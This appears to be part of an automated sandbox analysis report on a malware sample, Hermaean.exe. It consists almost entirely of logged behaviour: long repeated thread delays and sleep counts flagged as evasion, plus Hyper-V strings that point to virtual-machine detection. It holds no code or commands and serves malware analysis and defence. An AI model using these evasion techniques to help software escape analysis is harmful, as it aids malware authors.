Source: C:\Users\user\Desktop\Hermaean.exe	Memory allocated: 35150000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 599844	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 599407	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 599282	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 599157	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 599032	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 598922	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 598688	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 598563	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 598438	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 598313	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 598204	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 598079	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 597954	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 597829	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 597704	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 597579	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 597454	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 597311	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 596954	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 596625	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 596516	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 596391	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 596282	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 596157	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 596032	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 595688	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 595563	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 595438	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 595313	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 595203	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 595094	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 594969	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 593735	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 593610	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 593485	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Thread delayed: delay time: 593360	Jump to behavior

Source: C:\Users\user\Desktop\Hermaean.exe	Window / User API: threadDelayed 851			Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Window / User API: threadDelayed 8955			Jump to behavior

Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -26747778906878833s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 3160	Thread sleep count: 851 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -599844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -599641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 3160	Thread sleep count: 8955 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -599532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -599407s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -599282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -599157s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -599032s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -598922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -598813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -598688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -598563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -598438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -598313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -598204s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -598079s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -597954s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -597829s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -597704s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -597579s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -597454s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -597311s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -596954s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -596735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -596625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -596516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -596391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -596282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -596157s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -596032s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -595922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -595813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -595688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -595563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -595438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -595313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -595203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -595094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -594969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -594860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -594735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -594610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -594485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -594360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -594110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -593985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -593860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -593735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -593610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -593485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe TID: 5460	Thread sleep time: -593360s >= -30000s	Jump to behavior

Source: Hermaean.exe, 00000006.00000002.2992279228.0000000004C4B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWV
Source: Hermaean.exe, 00000006.00000002.2992279228.0000000004BE8000.00000004.00000020.00020000.00000000.sdmp, Hermaean.exe, 00000006.00000002.2992279228.0000000004C4B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\Hermaean.exe	API call chain: ExitProcess graph end node			graph_1-4490
Source: C:\Users\user\Desktop\Hermaean.exe	API call chain: ExitProcess graph end node			graph_1-4494